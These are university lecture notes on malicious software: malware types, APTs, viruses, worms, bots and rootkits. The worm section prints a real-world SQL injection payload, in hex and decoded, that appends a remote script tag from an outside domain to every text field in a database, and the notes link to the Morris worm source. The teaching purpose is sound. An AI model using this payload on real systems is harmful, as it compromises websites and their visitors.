1 14-MaliciousSoftware


Previous: 13b-ReverseEngineering.html

Malware zoo
14-MaliciousSoftware/network.png

1.1 Screencasts

1.2 Definitions

Malware is software that is installed onto a system, usually covertly, with the intent of compromising the confidentiality, integrity, or availability of the victim’s data, applications, operating system, hardware, peripherals, sensors, or otherwise annoying or disrupting the victim.

Check out “Threats” here: https://en.wikipedia.org/wiki/Information_security

1.2.1 Classification of Malware

Broad classification:

Also classified by:

1.2.2 Types

Types of Malicious Software (Malware)

Propagation mechanism include examples such as:

  1. Infection of existing content by viruses that is subsequently spread to other systems
  2. Exploit of software vulnerabilities by worms or drive-by-downloads to allow the malware to replicate
  3. Social engineering attacks that convince users to bypass security mechanisms to install Trojans or to respond to phishing attacks

Payload actions performed by malware once it reaches a target system can include examples such as:

  1. Corruption of system or data files
  2. Theft of service can make the system a zombie agent of attack as part of a botnet
  3. Theft of information from the system/key-logging
  4. Code for stealthing or hiding its presence on the system (not exclusive with others, but complements others)

1.3 Attack sources

1.3.1 Advanced Persistent Threats (APTs)

1.3.1.1 APT Characteristics

Advanced

Persistent

Threats

1.3.1.2 APT Attacks

Aim:

Techniques used:

Intent:

1.3.1.3 APT examples

Two examples from organized entities with a monopoly on violence and profit-driven interest in power by force:

1.3.1.3.1 Stuxnet (developed by Nation states)

https://en.wikipedia.org/wiki/Stuxnet
The documentary we watched earlier.

1.3.1.3.2 Carbanak (developed by organized crime)

Check out the source code from a successful example:

https://en.wikipedia.org/wiki/Carbanak
“A look under the hood of FIN7’s notorious Carbanak backdoor, the result of nearly 500 total hours of analysis across 100,000 lines of code, and dozens of binaries, shows that the malware is highly sophisticated, more sophisticated than expected. It’s a Cadillac in a sea of golf carts, if you will. That’s according to analysis from FireEye researchers, who said that notably, the malware (which has been used in hundreds if not thousands of successful, financially motivated cyberattacks in the past four years) has an entirely different approach to command-and-control (C2) communication than what’s typically seen in the wild.”

1.4 Malware

Malware has move from a hobbyist industry into a profitable high-throughput production industry.

1.4.1 Historical

1.4.2 Attack kits

1.5 Propagation

1.5.1 Viruses

1.5.1.1 Virus features

Infection mechanism

Trigger

Payload

1.5.1.2 Virus phases

These phases may overlap in the phase or state of a particular virus, but the general principles still apply:

Dormant

Triggering

Propagation

Execution

1.5.1.3 Virus Classification by target

1.5.1.4 Virus Classification by concealment strategy

Macro and Scripting Viruses

1.5.2 Worms

1.5.2.1 Worm Replication

1.5.2.2 Target Discovery

Ask/discuss:

1.5.2.3 Scanning strategies

1.5.2.4 Simple propagation model

Similar to real infection modeling, where infection confers functional immunity or death.
14-MaliciousSoftware/f3-crop.png

dI(t)/dt = B * I(t) * S(t)

1.5.2.5 Morris worm

https://en.wikipedia.org/wiki/Morris_worm
https://www.youtube.com/watch?v=2QwMv0_Rkec

check out source code of Morris worm
https://github.com/arialdomartini/morris-worm
14-MaliciousSoftware/morris-worm_source.zip

Index and history of viruses and worms
https://en.wikipedia.org/wiki/Timeline_of_computer_viruses_and_worms

https://en.wikipedia.org/wiki/Comparison_of_computer_viruses

1.5.2.6 SQLi worm

s=290';DECLARE /page.asp?foo=';DECLARE
564152434841522832353529204445434C415245205461626C655F437572736F72204
35552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524
F4D207379736F626A6563747320612C737973636F6C756D6E7320622057484552452
0612E69643D622E696420414E4420612E78747970653D27752720414E442028622E7
8747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D3
23331204F5220622E78747970653D31363729204F50454E205461626C655F43757273
6F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E5
44F2040542C4043205748494C4528404046455443485F5354415455533D3029204245
47494E20455845432827555044415445205B272B40542B275D20534554205B272B40
432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B
272B40432B275D29292B27273C736372697074207372633D687474703A2F2F777777
2E696273652E72752F6A732E6A733E3C2F7363726970743E272727292046455443482
04E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320
454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205
461626C655F437572736F7220

After we decode it, we can see the code below.
What does this do?

DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FORSELECT
a.name,b.name FROM sysobjects a,syscolumns b
WHERE a.id=b.id ANDa.xtype='u' AND (b.xtype=99 OR
b.xtype=35 OR b.xtype=231 OR b.xtype=167)OPEN
Table_Cursor FETCH NEXT FROM Table_Cursor INTO
@T,@CWHILE(@@FETCH_STATUS=0) BEGIN
EXEC('UPDATE ['+@T+'] SET['+@C
+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))
+''<scriptsrc=
http://www.ibse.ru/js.js
></script>~~~) FETCH
NEXT FROM Table_CursorINTO @T,@C END CLOSE
Table_Cursor DEALLOCATE Table_Cursor

Goes through all character fields in a database, and adds a script tag to them, downloaded from a remote url from a Russian domain…

1.5.3 Mobile phone malware

1.5.4 Mobile (cross-platform) code

What about the user’s mistakes?

1.5.5 Drive-by-downloads

1.5.6 Click-jacking

1.5.7 Social engineering

The most successful type of attack by far!

Spam

Trojan horse

Mobile phone trojans

++++++++++++++++++++++
Cahoot-14.1

1.6 Payload

Malicious software or actions that malware may deliver or perform

1.6.1 System corruption

1.6.2 Bots

1.6.2.0.1 Remote Control Facility

1.6.2.1 Example: Sality botnet

Some maps are derived from honeypots, others from actual attack, network, and malware statistics captured by logs.

https://norse-corp.com/map/
https://www.digitalattackmap.com/
https://cybermap.kaspersky.com/
https://threatmap.checkpoint.com/ThreatPortal/livemap.html
https://threatmap.fortiguard.com/
https://www.akamai.com/es/es/resources/visualizing-akamai/real-time-web-monitor.jsp?tab=attacks&theme=dark
https://map.lookingglasscyber.com/
https://threatbutt.com/map/
https://talosintelligence.com/fullpage_maps/pulse
https://www.sophos.com/en-us/threat-center/threat-monitoring/threatdashboard.aspx
https://www.fireeye.com/cyber-map/threat-map.html

To highlight one example:
https://map.lookingglasscyber.com/ (see botnets here)
https://en.wikipedia.org/wiki/Sality botnet for example

1.6.3 Information Theft: key-loggers and Spyware

1.6.3.1 Key-loggers

1.6.3.2 Spyware

1.6.3.3 Phishing

1.6.3.4 Spear Phishing

1.6.4 Stealthing

1.6.4.1 Backdoors

https://en.wikipedia.org/wiki/Backdoor_(computing)

1.6.4.2 Rootkits

https://en.wikipedia.org/wiki/Rootkit

1.6.4.3 Rootkit Classification Characteristics

rootkits may modify system calls:

++++++++++++++++++++++
Cahoot-14.2

Next: 15-BufferOverflow.html